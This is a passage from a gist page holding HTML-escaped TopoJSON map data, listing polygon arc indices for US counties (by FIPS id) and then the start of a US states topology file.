{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/a13a390b32f5dc70a62aeb3af5e8e568">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;